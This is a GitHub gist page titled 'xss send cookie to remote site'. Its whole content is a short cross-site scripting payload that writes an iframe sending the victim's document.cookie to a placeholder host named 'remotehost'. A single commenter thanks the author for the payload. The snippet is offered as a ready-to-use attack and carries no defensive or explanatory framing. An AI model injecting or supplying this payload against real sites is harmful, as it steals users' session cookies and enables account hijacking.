Skip to content

Instantly share code, notes, and snippets.

@ahhh
Last active April 3, 2024 18:36
Show Gist options
  • Star 5 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save ahhh/0914a9c06aa5ac013297 to your computer and use it in GitHub Desktop.
Save ahhh/0914a9c06aa5ac013297 to your computer and use it in GitHub Desktop.
xss send cookie to remote site
<script type="text/javascript">
document.write("<iframe src='http://remotehost/whatever.ok?cookie="+document.cookie+"'></iframe>");
</script>
@NoobGajen
Copy link

Thanks for the paylaod

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment